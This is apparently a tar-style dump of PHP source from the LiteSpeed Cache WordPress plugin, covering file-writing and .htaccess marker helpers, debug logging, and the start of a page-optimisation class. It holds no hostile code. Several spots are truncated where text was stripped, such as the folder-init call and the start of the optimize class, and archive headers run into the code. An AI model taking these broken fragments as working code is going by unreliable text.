@param string $filename * @param int $start_line * @param int $lines */ public static function read( $filename, $start_line = null, $lines = null ) { if (!file_exists($filename)) { return ''; } if (!is_readable($filename)) { return false; } if ($start_line !== null) { $res = array(); $file = new \SplFileObject($filename); $file->seek($start_line); if ($lines === null) { while (!$file->eof()) { $res[] = rtrim($file->current(), "\n"); $file->next(); } } else { for ($i = 0; $i < $lines; $i++) { if ($file->eof()) { break; } $res[] = rtrim($file->current(), "\n"); $file->next(); } } unset($file); return $res; } $content = file_get_contents($filename); $content = self::remove_zero_space($content); return $content; } /** * Append data to file * * @since 1.1.5 * @access public * @param string $filename * @param string $data * @param boolean $mkdir * @param boolean $silence Used to avoid WP's functions are used */ public static function append( $filename, $data, $mkdir = false, $silence = true ) { return self::save($filename, $data, $mkdir, true, $silence); } /** * Save data to file * * @since 1.1.0 * @param string $filename * @param string $data * @param boolean $mkdir * @param boolean $append If the content needs to be appended * @param boolean $silence Used to avoid WP's functions are used */ public static function save( $filename, $data, $mkdir = false, $append = false, $silence = true ) { if (is_null($filename)) { return $silence ? false : __('Filename is empty!', 'litespeed-cache'); } $error = false; $folder = dirname($filename); // mkdir if folder does not exist if (!file_exists($folder)) { if (!$mkdir) { return $silence ? false : sprintf(__('Folder does not exist: %s', 'litespeed-cache'), $folder); } set_error_handler('litespeed_exception_handler'); try { mkdir($folder, 0755, true); // Create robots.txt file to forbid search engine indexes if (!file_exists(LITESPEED_STATIC_DIR . '/robots.txt')) { file_put_contents(LITESPEED_STATIC_DIR . '/robots.txt', "User-agent: *\nDisallow: /\n"); } } catch (\ErrorException $ex) { return $silence ? false : sprintf(__('Can not create folder: %1$s. Error: %2$s', 'litespeed-cache'), $folder, $ex->getMessage()); } restore_error_handler(); } if (!file_exists($filename)) { if (!is_writable($folder)) { return $silence ? false : sprintf(__('Folder is not writable: %s.', 'litespeed-cache'), $folder); } set_error_handler('litespeed_exception_handler'); try { touch($filename); } catch (\ErrorException $ex) { return $silence ? false : sprintf(__('File %s is not writable.', 'litespeed-cache'), $filename); } restore_error_handler(); } elseif (!is_writable($filename)) { return $silence ? false : sprintf(__('File %s is not writable.', 'litespeed-cache'), $filename); } $data = self::remove_zero_space($data); $ret = file_put_contents($filename, $data, $append ? FILE_APPEND : LOCK_EX); if ($ret === false) { return $silence ? false : sprintf(__('Failed to write to %s.', 'litespeed-cache'), $filename); } return true; } /** * Remove Unicode zero-width space <200b><200c> * * @since 2.1.2 * @since 2.9 changed to public */ public static function remove_zero_space( $content ) { if (is_array($content)) { $content = array_map(__CLASS__ . '::remove_zero_space', $content); return $content; } // Remove UTF-8 BOM if present if (substr($content, 0, 3) === "\xEF\xBB\xBF") { $content = substr($content, 3); } $content = str_replace("\xe2\x80\x8b", '', $content); $content = str_replace("\xe2\x80\x8c", '', $content); $content = str_replace("\xe2\x80\x8d", '', $content); return $content; } /** * Appends an array of strings into a file (.htaccess ), placing it between * BEGIN and END markers. * * Replaces existing marked info. Retains surrounding * data. Creates file if none exists. * * @param string $filename Filename to alter. * @param string $marker The marker to alter. * @param array|string|false $insertion The new content to insert. * @param bool $prepend Prepend insertion if not exist. * @return bool True on write success, false on failure. */ public static function insert_with_markers( $filename, $insertion = false, $marker = false, $prepend = false ) { if (!$marker) { $marker = self::MARKER; } if (!$insertion) { $insertion = array(); } return self::_insert_with_markers($filename, $marker, $insertion, $prepend); // todo: capture exceptions } /** * Return wrapped block data with marker * * @param string $insertion * @param string $marker * @return string The block data */ public static function wrap_marker_data( $insertion, $marker = false ) { if (!$marker) { $marker = self::MARKER; } $start_marker = "# BEGIN {$marker}"; $end_marker = "# END {$marker}"; $new_data = implode("\n", array_merge(array( $start_marker ), $insertion, array( $end_marker ))); return $new_data; } /** * Touch block data from file, return with marker * * @param string $filename * @param string $marker * @return string The current block data */ public static function touch_marker_data( $filename, $marker = false ) { if (!$marker) { $marker = self::MARKER; } $result = self::_extract_from_markers($filename, $marker); if (!$result) { return false; } $start_marker = "# BEGIN {$marker}"; $end_marker = "# END {$marker}"; $new_data = implode("\n", array_merge(array( $start_marker ), $result, array( $end_marker ))); return $new_data; } /** * Extracts strings from between the BEGIN and END markers in the .htaccess file. * * @param string $filename * @param string $marker * @return array An array of strings from a file (.htaccess ) from between BEGIN and END markers. */ public static function extract_from_markers( $filename, $marker = false ) { if (!$marker) { $marker = self::MARKER; } return self::_extract_from_markers($filename, $marker); } /** * Extracts strings from between the BEGIN and END markers in the .htaccess file. * * @param string $filename * @param string $marker * @return array An array of strings from a file (.htaccess ) from between BEGIN and END markers. */ private static function _extract_from_markers( $filename, $marker ) { $result = array(); if (!file_exists($filename)) { return $result; } if ($markerdata = explode("\n", implode('', file($filename)))) { $state = false; foreach ($markerdata as $markerline) { if (strpos($markerline, '# END ' . $marker) !== false) { $state = false; } if ($state) { $result[] = $markerline; } if (strpos($markerline, '# BEGIN ' . $marker) !== false) { $state = true; } } } return array_map('trim', $result); } /** * Inserts an array of strings into a file (.htaccess ), placing it between BEGIN and END markers. * * Replaces existing marked info. Retains surrounding data. Creates file if none exists. * * NOTE: will throw error if failed * * @since 3.0- * @since 3.0 Throw errors if failed * @access private */ private static function _insert_with_markers( $filename, $marker, $insertion, $prepend = false ) { if (!file_exists($filename)) { if (!is_writable(dirname($filename))) { Error::t('W', dirname($filename)); } set_error_handler('litespeed_exception_handler'); try { touch($filename); } catch (\ErrorException $ex) { Error::t('W', $filename); } restore_error_handler(); } elseif (!is_writable($filename)) { Error::t('W', $filename); } if (!is_array($insertion)) { $insertion = explode("\n", $insertion); } $start_marker = "# BEGIN {$marker}"; $end_marker = "# END {$marker}"; $fp = fopen($filename, 'r+'); if (!$fp) { Error::t('W', $filename); } // Attempt to get a lock. If the filesystem supports locking, this will block until the lock is acquired. flock($fp, LOCK_EX); $lines = array(); while (!feof($fp)) { $lines[] = rtrim(fgets($fp), "\r\n"); } // Split out the existing file into the preceding lines, and those that appear after the marker $pre_lines = $post_lines = $existing_lines = array(); $found_marker = $found_end_marker = false; foreach ($lines as $line) { if (!$found_marker && false !== strpos($line, $start_marker)) { $found_marker = true; continue; } elseif (!$found_end_marker && false !== strpos($line, $end_marker)) { $found_end_marker = true; continue; } if (!$found_marker) { $pre_lines[] = $line; } elseif ($found_marker && $found_end_marker) { $post_lines[] = $line; } else { $existing_lines[] = $line; } } // Check to see if there was a change if ($existing_lines === $insertion) { flock($fp, LOCK_UN); fclose($fp); return true; } // Check if need to prepend data if not exist if ($prepend && !$post_lines) { // Generate the new file data $new_file_data = implode("\n", array_merge(array( $start_marker ), $insertion, array( $end_marker ), $pre_lines)); } else { // Generate the new file data $new_file_data = implode("\n", array_merge($pre_lines, array( $start_marker ), $insertion, array( $end_marker ), $post_lines)); } // Write to the start of the file, and truncate it to that length fseek($fp, 0); $bytes = fwrite($fp, $new_file_data); if ($bytes) { ftruncate($fp, ftell($fp)); } fflush($fp); flock($fp, LOCK_UN); fclose($fp); return (bool) $bytes; } } debug2.cls.php000064400000044632152077520300007217 0ustar00_maybe_init_folder(); self::$log_path = $this->path( 'debug' ); $ua = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : ''; if ( '' !== $ua && 0 === strpos( $ua, 'lscache_' ) ) { self::$log_path = $this->path( 'crawler' ); } ! defined( 'LSCWP_LOG_TAG' ) && define( 'LSCWP_LOG_TAG', get_current_blog_id() ); if ( $this->conf( Base::O_DEBUG_LEVEL ) ) { ! defined( 'LSCWP_LOG_MORE' ) && define( 'LSCWP_LOG_MORE', true ); } defined( 'LSCWP_DEBUG_EXC_STRINGS' ) || define( 'LSCWP_DEBUG_EXC_STRINGS', $this->conf( Base::O_DEBUG_EXC_STRINGS ) ); } /** * Disable all functionalities temporarily (toggle). * * @since 7.4 * @access public * * @param int $time How long (in seconds) to disable LSC functions. */ public static function tmp_disable( $time = 86400 ) { $conf = Conf::cls(); $disabled = self::cls()->conf( Base::DEBUG_TMP_DISABLE ); if ( 0 === $disabled ) { $conf->update_confs( [ Base::DEBUG_TMP_DISABLE => time() + (int) $time ] ); self::debug2( 'LiteSpeed Cache temporary disabled.' ); return; } $conf->update_confs( [ Base::DEBUG_TMP_DISABLE => 0 ] ); self::debug2( 'LiteSpeed Cache reactivated.' ); } /** * Is the temporary disable active? If expired, re-enable. * * @since 7.4 * @access public * * @return bool */ public static function is_tmp_disable() { $disabled_time = self::cls()->conf( Base::DEBUG_TMP_DISABLE ); if ( 0 === $disabled_time ) { return false; } if ( time() < (int) $disabled_time ) { return true; } Conf::cls()->update_confs( [ Base::DEBUG_TMP_DISABLE => 0 ] ); return false; } /** * Ensure log directory exists and move legacy logs into it. * * @since 6.5 * @access private */ private function _maybe_init_folder() { if ( file_exists( self::$log_path_prefix . 'index.php' ) ) { return; } File::save( self::$log_path_prefix . 'index.php', 'path( $log ); if ( file_exists( $old_path ) && ! file_exists( $new_path ) ) { // phpcs:ignore WordPress.WP.AlternativeFunctions.rename_rename -- Moving legacy log files during migration rename( $old_path, $new_path ); } } } /** * Get absolute path for a log type. * * @since 6.5 * @param string $type Log type (debug|purge|crawler). * @return string */ public function path( $type ) { return self::$log_path_prefix . self::FilePath( $type ); } /** * Get fixed filename for a log type. * * @since 6.5 * @param string $type Log type (debug|debug.purge|crawler). * @return string */ public static function FilePath( $type ) { if ( 'debug.purge' === $type ) { $type = 'purge'; } $key = defined( 'AUTH_KEY' ) ? AUTH_KEY : md5( __FILE__ ); $rand = substr( md5( substr( $key, -16 ) ), -16 ); return $type . $rand . '.log'; } /** * Write end-of-request markers and response timing. * * @since 4.7 * @access public * @return void */ public static function ended() { $headers = headers_list(); foreach ( $headers as $key => $header ) { if ( 0 === stripos( $header, 'Set-Cookie' ) ) { unset( $headers[ $key ] ); } } self::debug( 'Response headers', $headers ); $elapsed_time = number_format( ( microtime( true ) - LSCWP_TS_0 ) * 1000, 2 ); self::debug( "End response\n--------------------------------------------------Duration: " . $elapsed_time . " ms------------------------------\n" ); } /** * Run beta test upgrade. Accepts a direct ZIP URL or attempts to derive one. * * @since 2.9.5 * @access public * * @param string|false $zip ZIP URL or false to read from request. * @return void */ public function beta_test( $zip = false ) { if ( ! $zip ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( empty( $_REQUEST[ self::BETA_TEST_URL ] ) ) { return; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended $zip = sanitize_text_field( wp_unslash( $_REQUEST[ self::BETA_TEST_URL ] ) ); if ( self::BETA_TEST_URL_WP !== $zip ) { if ( 'latest' === $zip ) { $zip = self::BETA_TEST_URL_WP; } else { // Generate zip url $zip = $this->_package_zip( $zip ); } } } if ( ! $zip ) { self::debug( '[Debug2] ❌ No ZIP file' ); return; } self::debug( '[Debug2] ZIP file ' . $zip ); $update_plugins = get_site_transient( 'update_plugins' ); if ( ! is_object( $update_plugins ) ) { $update_plugins = new \stdClass(); } $plugin_info = new \stdClass(); $plugin_info->new_version = Core::VER; $plugin_info->slug = Core::PLUGIN_NAME; $plugin_info->plugin = Core::PLUGIN_FILE; $plugin_info->package = $zip; $plugin_info->url = 'https://wordpress.org/plugins/litespeed-cache/'; $update_plugins->response[ Core::PLUGIN_FILE ] = $plugin_info; set_site_transient( 'update_plugins', $update_plugins ); Activation::cls()->upgrade(); } /** * Resolve a GitHub commit-ish into a downloadable ZIP URL via QC API. * * @since 2.9.5 * @access private * * @param string $commit Commit hash/branch/tag. * @return string|false */ private function _package_zip( $commit ) { $data = [ 'commit' => $commit, ]; $res = Cloud::get( Cloud::API_BETA_TEST, $data ); if ( empty( $res['zip'] ) ) { return false; } return $res['zip']; } /** * Write purge headers into a dedicated purge log. * * @since 2.7 * @access public * * @param string $purge_header The Purge header value. * @return void */ public static function log_purge( $purge_header ) { if ( ! defined( 'LSCWP_LOG' ) && ! defined( 'LSCWP_LOG_BYPASS_NOTADMIN' ) ) { return; } $purge_file = self::cls()->path( 'purge' ); self::cls()->_init_request( $purge_file ); $msg = $purge_header . self::_backtrace_info( 6 ); File::append( $purge_file, self::format_message( $msg ) ); } /** * Initialize logging for current request if enabled. * * @since 1.1.0 * @access public * @return void */ public function init() { if ( defined( 'LSCWP_LOG' ) ) { return; } $debug = $this->conf( Base::O_DEBUG ); if ( Base::VAL_ON2 === $debug ) { if ( ! $this->cls( 'Router' )->is_admin_ip() ) { defined( 'LSCWP_LOG_BYPASS_NOTADMIN' ) || define( 'LSCWP_LOG_BYPASS_NOTADMIN', true ); return; } } /** * Check if hit URI includes/excludes * This is after LSCWP_LOG_BYPASS_NOTADMIN to make `log_purge()` still work * * @since 3.0 */ $list = $this->conf( Base::O_DEBUG_INC ); if ( $list ) { $request_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; $result = Utility::str_hit_array( $request_uri, $list ); if ( ! $result ) { return; } } $list = $this->conf( Base::O_DEBUG_EXC ); if ( $list ) { $request_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; $result = Utility::str_hit_array( $request_uri, $list ); if ( $result ) { return; } } if ( ! defined( 'LSCWP_LOG' ) ) { $this->_init_request(); define( 'LSCWP_LOG', true ); } } /** * Create the initial log record with request context. * * @since 1.0.12 * @access private * * @param string|null $log_file Optional specific log file path. * @return void */ private function _init_request( $log_file = null ) { if ( ! $log_file ) { $log_file = self::$log_path; } // Rotate if exceeding configured size (MiB). $log_file_size = (int) $this->conf( Base::O_DEBUG_FILESIZE ); if ( file_exists( $log_file ) && filesize( $log_file ) > $log_file_size * 1000000 ) { File::save( $log_file, '' ); } // Add extra spacing if last write was > 2 seconds ago. if ( file_exists( $log_file ) && ( time() - filemtime( $log_file ) ) > 2 ) { File::append( $log_file, "\n\n\n\n" ); } if ( 'cli' === PHP_SAPI ) { return; } $servervars = array( 'Query String' => '', 'HTTP_ACCEPT' => '', 'HTTP_USER_AGENT' => '', 'HTTP_ACCEPT_ENCODING' => '', 'HTTP_COOKIE' => '', 'REQUEST_METHOD' => '', 'SERVER_PROTOCOL' => '', 'X-LSCACHE' => '', 'LSCACHE_VARY_COOKIE' => '', 'LSCACHE_VARY_VALUE' => '', 'ESI_CONTENT_TYPE' => '', ); $server = array_merge($servervars, $_SERVER); $params = array(); if ( isset( $_SERVER['HTTPS'] ) && 'on' === $_SERVER['HTTPS'] ) { $server['SERVER_PROTOCOL'] .= ' (HTTPS) '; } $param = sprintf('💓 ------%s %s %s', $server['REQUEST_METHOD'], $server['SERVER_PROTOCOL'], strtok($server['REQUEST_URI'], '?')); $qs = !empty($server['QUERY_STRING']) ? $server['QUERY_STRING'] : ''; if ( $this->conf( Base::O_DEBUG_COLLAPSE_QS ) ) { $qs = $this->_omit_long_message( $qs ); if ( $qs ) { $param .= ' ? ' . $qs; } $params[] = $param; } else { $params[] = $param; $params[] = 'Query String: ' . $qs; } if ( ! empty( $server['HTTP_REFERER'] ) ) { $params[] = 'HTTP_REFERER: ' . $this->_omit_long_message( $server['HTTP_REFERER'] ); } if ( defined( 'LSCWP_LOG_MORE' ) ) { $params[] = 'User Agent: ' . $this->_omit_long_message( $server['HTTP_USER_AGENT'] ); $params[] = 'Accept: ' . $server['HTTP_ACCEPT']; $params[] = 'Accept Encoding: ' . $server['HTTP_ACCEPT_ENCODING']; } if ( isset( $_COOKIE['_lscache_vary'] ) ) { $params[] = 'Cookie _lscache_vary: ' . sanitize_text_field( wp_unslash( $_COOKIE['_lscache_vary'] ) ); } if ( defined( 'LSCWP_LOG_MORE' ) ) { $params[] = 'X-LSCACHE: ' . ( ! empty( $server['X-LSCACHE'] ) ? 'true' : 'false' ); } if ( $server['LSCACHE_VARY_COOKIE'] ) { $params[] = 'LSCACHE_VARY_COOKIE: ' . $server['LSCACHE_VARY_COOKIE']; } if ( $server['LSCACHE_VARY_VALUE'] ) { $params[] = 'LSCACHE_VARY_VALUE: ' . $server['LSCACHE_VARY_VALUE']; } if ( $server['ESI_CONTENT_TYPE'] ) { $params[] = 'ESI_CONTENT_TYPE: ' . $server['ESI_CONTENT_TYPE']; } $request = array_map( __CLASS__ . '::format_message', $params ); File::append( $log_file, $request ); } /** * Trim long message to keep logs compact. * * @since 6.3 * @param string $msg Message. * @return string */ private function _omit_long_message( $msg ) { if ( strlen( $msg ) > 53 ) { $msg = substr( $msg, 0, 53 ) . '...'; } return $msg; } /** * Format a single log line with timestamp and prefix. * * @since 1.0.12 * @access private * * @param string $msg Message to log. * @return string Formatted line. */ private static function format_message( $msg ) { if ( ! defined( 'LSCWP_LOG_TAG' ) ) { return $msg . "\n"; } if ( ! isset( self::$_prefix ) ) { // address/identity. if ( 'cli' === PHP_SAPI ) { $addr = '=CLI='; if ( isset( $_SERVER['USER'] ) ) { $addr .= sanitize_text_field( wp_unslash( $_SERVER['USER'] ) ); } elseif ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) { $addr .= sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ); } } else { $ip = isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : ''; $port = isset( $_SERVER['REMOTE_PORT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_PORT'] ) ) : ''; $addr = "$ip:$port"; } self::$_prefix = sprintf( ' [%s %s %s] ', $addr, LSCWP_LOG_TAG, Str::rrand( 3 ) ); } list( $usec, $sec ) = explode( ' ', microtime() ); // Use gmdate to avoid tz-related warnings; apply offset if defined. $ts = gmdate( 'm/d/y H:i:s', (int) $sec + ( defined( 'LITESPEED_TIME_OFFSET' ) ? (int) LITESPEED_TIME_OFFSET : 0 ) ); return $ts . substr( $usec, 1, 4 ) . self::$_prefix . $msg . "\n"; } /** * Log a debug message. * * @since 1.1.3 * @access public * * @param string $msg Message to write. * @param int|array $backtrace_limit Depth for backtrace or payload to append. * @return void */ public static function debug( $msg, $backtrace_limit = false ) { if ( ! defined( 'LSCWP_LOG' ) ) { return; } if ( defined( 'LSCWP_DEBUG_EXC_STRINGS' ) && Utility::str_hit_array( $msg, LSCWP_DEBUG_EXC_STRINGS ) ) { return; } if ( false !== $backtrace_limit ) { if ( ! is_numeric( $backtrace_limit ) ) { $backtrace_limit = self::trim_longtext( $backtrace_limit ); if ( is_array( $backtrace_limit ) && 1 === count( $backtrace_limit ) && ! empty( $backtrace_limit[0] ) ) { $msg .= ' --- ' . $backtrace_limit[0]; } else { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export $msg .= ' --- ' . var_export( $backtrace_limit, true ); } self::push( $msg ); return; } self::push( $msg, (int) $backtrace_limit + 1 ); return; } self::push( $msg ); } /** * Trim strings inside arrays/object dumps to reasonable length. * * @since 3.3 * @param mixed $backtrace_limit Data to trim. * @return mixed */ public static function trim_longtext( $backtrace_limit ) { if ( is_array( $backtrace_limit ) ) { $backtrace_limit = array_map( __CLASS__ . '::trim_longtext', $backtrace_limit ); } if ( is_string( $backtrace_limit ) && strlen( $backtrace_limit ) > 500 ) { $backtrace_limit = substr( $backtrace_limit, 0, 1000 ) . '...'; } return $backtrace_limit; } /** * Log a verbose debug message (requires O_DEBUG_LEVEL). * * @since 1.2.0 * @access public * * @param string $msg Message. * @param int|array $backtrace_limit Backtrace depth or payload to append. * @return void */ public static function debug2( $msg, $backtrace_limit = false ) { if ( ! defined( 'LSCWP_LOG_MORE' ) ) { return; } self::debug( $msg, $backtrace_limit ); } /** * Append a message to the active log file. * * @since 1.1.0 * @access private * * @param string $msg Message. * @param int|bool $backtrace_limit Backtrace depth. * @return void */ private static function push( $msg, $backtrace_limit = false ) { if ( defined( 'LSCWP_LOG_MORE' ) && false !== $backtrace_limit ) { $msg .= self::_backtrace_info( (int) $backtrace_limit ); } File::append( self::$log_path, self::format_message( $msg ) ); } /** * Create a compact backtrace string. * * @since 2.7 * @access private * * @param int $backtrace_limit Depth. * @return string */ private static function _backtrace_info( $backtrace_limit ) { $msg = ''; $limit = (int) $backtrace_limit; // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace $trace = debug_backtrace( false, $limit + 3 ); for ( $i = 2; $i <= $limit + 2; $i++ ) { // 0 => _backtrace_info(), 1 => push(). if ( empty( $trace[ $i ]['class'] ) ) { if ( empty( $trace[ $i ]['file'] ) ) { break; } $log = "\n" . $trace[ $i ]['file']; } else { if ( __CLASS__ === $trace[ $i ]['class'] ) { continue; } $args = ''; if ( ! empty( $trace[ $i ]['args'] ) ) { foreach ( $trace[ $i ]['args'] as $v ) { if ( is_array( $v ) ) { $v = 'ARRAY'; } if ( is_string( $v ) || is_numeric( $v ) ) { $args .= $v . ','; } } $args = substr( $args, 0, strlen( $args ) > 100 ? 100 : -1 ); } $log = str_replace( 'Core', 'LSC', $trace[ $i ]['class'] ) . $trace[ $i ]['type'] . $trace[ $i ]['function'] . '(' . $args . ')'; } if ( ! empty( $trace[ $i - 1 ]['line'] ) ) { $log .= '@' . $trace[ $i - 1 ]['line']; } $msg .= " => $log"; } return $msg; } /** * Clear all log files (debug|purge|crawler). * * @since 1.6.6 * @access private * @return void */ private function _clear_log() { $logs = [ 'debug', 'purge', 'crawler' ]; foreach ( $logs as $log ) { File::save( $this->path( $log ), '' ); } } /** * Download a log file. * * @since 7.0 * @access private * @return void */ private function _download_log() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified in Router::verify_type() $log_type = isset( $_GET['log'] ) ? sanitize_text_field( wp_unslash( $_GET['log'] ) ) : ''; $valid_logs = [ 'debug', 'purge', 'crawler' ]; if ( ! in_array( $log_type, $valid_logs, true ) ) { wp_die( esc_html__( 'Invalid log type.', 'litespeed-cache' ) ); } $file = $this->path( $log_type ); if ( ! file_exists( $file ) ) { wp_die( esc_html__( 'Log file not found.', 'litespeed-cache' ) ); } $filename = 'litespeed-' . $log_type . '-' . gmdate( 'Y-m-d_His' ) . '.log'; header( 'Content-Type: text/plain; charset=utf-8' ); header( 'Content-Disposition: attachment; filename="' . $filename . '"' ); header( 'Content-Length: ' . filesize( $file ) ); header( 'Cache-Control: no-cache, no-store, must-revalidate' ); header( 'Pragma: no-cache' ); header( 'Expires: 0' ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_readfile -- Direct file output for download readfile( $file ); exit; } /** * Handle requests routed to this class. * * @since 1.6.6 * @access public * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_CLEAR_LOG: $this->_clear_log(); break; case self::TYPE_BETA_TEST: $this->beta_test(); break; case self::TYPE_DOWNLOAD_LOG: $this->_download_log(); return; // _download_log() calls exit, but return here for clarity default: break; } Admin::redirect(); } } optimize.cls.php000064400000115220152077520300007677 0ustar00#isU"; private $content; private $content_ori; private $cfg_css_min; private $cfg_css_comb; private $cfg_js_min; private $cfg_js_comb; private $cfg_css_async; private $cfg_js_delay_inc = array(); private $cfg_js_defer; private $cfg_js_defer_exc = false; private $cfg_ggfonts_async; private $_conf_css_font_display; private $cfg_ggfonts_rm; private $dns_prefetch; private $dns_preconnect; private $_ggfonts_urls = array(); private $_ccss; private $_ucss = false; private $__optimizer; private $html_foot = ''; // The html info append to private $html_head = ''; // The html info append to private $html_head_early = ''; // The html info prepend to top of head private static $_var_i = 0; private $_var_preserve_js = array(); private $_request_url; /** * Constructor * * @since 4.0 */ public function __construct() { self::debug('init'); $this->__optimizer = $this->cls('Optimizer'); } /** * Init optimizer * * @since 3.0 * @access protected */ public function init() { $this->cfg_css_async = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_CSS_ASYNC); if ($this->cfg_css_async) { if (!$this->cls('Cloud')->activated()) { self::debug('❌ CCSS set to OFF due to QC not activated'); $this->cfg_css_async = false; } if ((defined('LITESPEED_GUEST_OPTM') || ($this->conf(self::O_OPTM_UCSS) && $this->conf(self::O_OPTM_CSS_COMB))) && $this->conf(self::O_OPTM_UCSS_INLINE)) { self::debug('⚠️ CCSS set to OFF due to UCSS Inline'); $this->cfg_css_async = false; } } $this->cfg_js_defer = $this->conf(self::O_OPTM_JS_DEFER); if (defined('LITESPEED_GUEST_OPTM')) { $this->cfg_js_defer = 2; } if ($this->cfg_js_defer == 2) { add_filter( 'litespeed_optm_cssjs', function ( $con, $file_type ) { if ($file_type == 'js') { $con = str_replace('DOMContentLoaded', 'DOMContentLiteSpeedLoaded', $con); // $con = str_replace( 'addEventListener("load"', 'addEventListener("litespeedLoad"', $con ); } return $con; }, 20, 2 ); } // To remove emoji from WP if ($this->conf(self::O_OPTM_EMOJI_RM)) { $this->_emoji_rm(); } if ($this->conf(self::O_OPTM_QS_RM)) { add_filter('style_loader_src', array( $this, 'remove_query_strings' ), 999); add_filter('script_loader_src', array( $this, 'remove_query_strings' ), 999); } // GM JS exclude @since 4.1 if (defined('LITESPEED_GUEST_OPTM')) { $this->cfg_js_defer_exc = apply_filters('litespeed_optm_gm_js_exc', $this->conf(self::O_OPTM_GM_JS_EXC)); } else { /** * Exclude js from deferred setting * * @since 1.5 */ if ($this->cfg_js_defer) { add_filter('litespeed_optm_js_defer_exc', array( $this->cls('Data'), 'load_js_defer_exc' )); $this->cfg_js_defer_exc = apply_filters('litespeed_optm_js_defer_exc', $this->conf(self::O_OPTM_JS_DEFER_EXC)); $this->cfg_js_delay_inc = apply_filters('litespeed_optm_js_delay_inc', $this->conf(self::O_OPTM_JS_DELAY_INC)); } } // Add vary filter for Role Excludes @since 1.6 add_filter('litespeed_vary', array( $this, 'vary_add_role_exclude' )); // DNS optm (Prefetch/Preconnect) @since 7.3 $this->_dns_optm_init(); add_filter('litespeed_buffer_finalize', array( $this, 'finalize' ), 20); // Inject a dummy CSS file to control final optimized data location in wp_enqueue_style(Core::PLUGIN_NAME . '-dummy', LSWCP_PLUGIN_URL . 'assets/css/litespeed-dummy.css'); } /** * Exclude role from optimization filter * * @since 1.6 * @access public */ public function vary_add_role_exclude( $vary ) { if ($this->cls('Conf')->in_optm_exc_roles()) { $vary['role_exclude_optm'] = 1; } return $vary; } /** * Remove emoji from WP * * @since 1.4 * @since 2.9.8 Changed to private * @access private */ private function _emoji_rm() { remove_action('wp_head', 'print_emoji_detection_script', 7); remove_action('admin_print_scripts', 'print_emoji_detection_script'); remove_filter('the_content_feed', 'wp_staticize_emoji'); remove_filter('comment_text_rss', 'wp_staticize_emoji'); /** * Added for better result * * @since 1.6.2.1 */ remove_action('wp_print_styles', 'print_emoji_styles'); remove_action('admin_print_styles', 'print_emoji_styles'); remove_filter('wp_mail', 'wp_staticize_emoji_for_email'); } /** * Delete file-based cache folder * * @since 2.1 * @access public */ public function rm_cache_folder( $subsite_id = false ) { if ($subsite_id) { file_exists(LITESPEED_STATIC_DIR . '/css/' . $subsite_id) && File::rrmdir(LITESPEED_STATIC_DIR . '/css/' . $subsite_id); file_exists(LITESPEED_STATIC_DIR . '/js/' . $subsite_id) && File::rrmdir(LITESPEED_STATIC_DIR . '/js/' . $subsite_id); return; } file_exists(LITESPEED_STATIC_DIR . '/css') && File::rrmdir(LITESPEED_STATIC_DIR . '/css'); file_exists(LITESPEED_STATIC_DIR . '/js') && File::rrmdir(LITESPEED_STATIC_DIR . '/js'); } /** * Remove QS * * @since 1.3 * @access public */ public function remove_query_strings( $src ) { if (strpos($src, '_litespeed_rm_qs=0') || strpos($src, '/recaptcha')) { return $src; } if (!Utility::is_internal_file($src)) { return $src; } if (strpos($src, '.js?') !== false || strpos($src, '.css?') !== false) { $src = preg_replace('/\?.*/', '', $src); } return $src; } /** * Run optimize process * NOTE: As this is after cache finalized, can NOT set any cache control anymore * * @since 1.2.2 * @access public * @return string The content that is after optimization */ public function finalize( $content ) { $content = $this->_finalize($content); // Fallback to replace dummy css placeholder if (false !== preg_match(self::DUMMY_CSS_REGEX, $content)) { self::debug('Fallback to drop dummy CSS'); $content = preg_replace( self::DUMMY_CSS_REGEX, '', $content ); } return $content; } private function _finalize( $content ) { if (defined('LITESPEED_NO_PAGEOPTM')) { self::debug2('bypass: NO_PAGEOPTM const'); return $content; } if (!defined('LITESPEED_IS_HTML')) { self::debug('bypass: Not frontend HTML type'); return $content; } if (!defined('LITESPEED_GUEST_OPTM')) { if (!Control::is_cacheable()) { self::debug('bypass: Not cacheable'); return $content; } // Check if hit URI excludes add_filter('litespeed_optm_uri_exc', array( $this->cls('Data'), 'load_optm_uri_exc' )); $excludes = apply_filters('litespeed_optm_uri_exc', $this->conf(self::O_OPTM_EXC)); $result = Utility::str_hit_array($_SERVER['REQUEST_URI'], $excludes); if ($result) { self::debug('bypass: hit URI Excludes setting: ' . $result); return $content; } } self::debug('start'); $this->content_ori = $this->content = $content; $this->_optimize(); return $this->content; } /** * Optimize css src * * @since 1.2.2 * @access private */ private function _optimize() { global $wp; // get current request url $permalink_structure = get_option( 'permalink_structure' ); if ( ! empty( $permalink_structure ) ) { $this->_request_url = trailingslashit( home_url( $wp->request ) ); } else { $qs_add = $wp->query_string ? '?' . (string) $wp->query_string : '' ; $this->_request_url = home_url( $wp->request ) . $qs_add; } $this->cfg_css_min = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_CSS_MIN); $this->cfg_css_comb = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_CSS_COMB); $this->cfg_js_min = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_JS_MIN); $this->cfg_js_comb = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_JS_COMB); $this->cfg_ggfonts_rm = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_GGFONTS_RM); 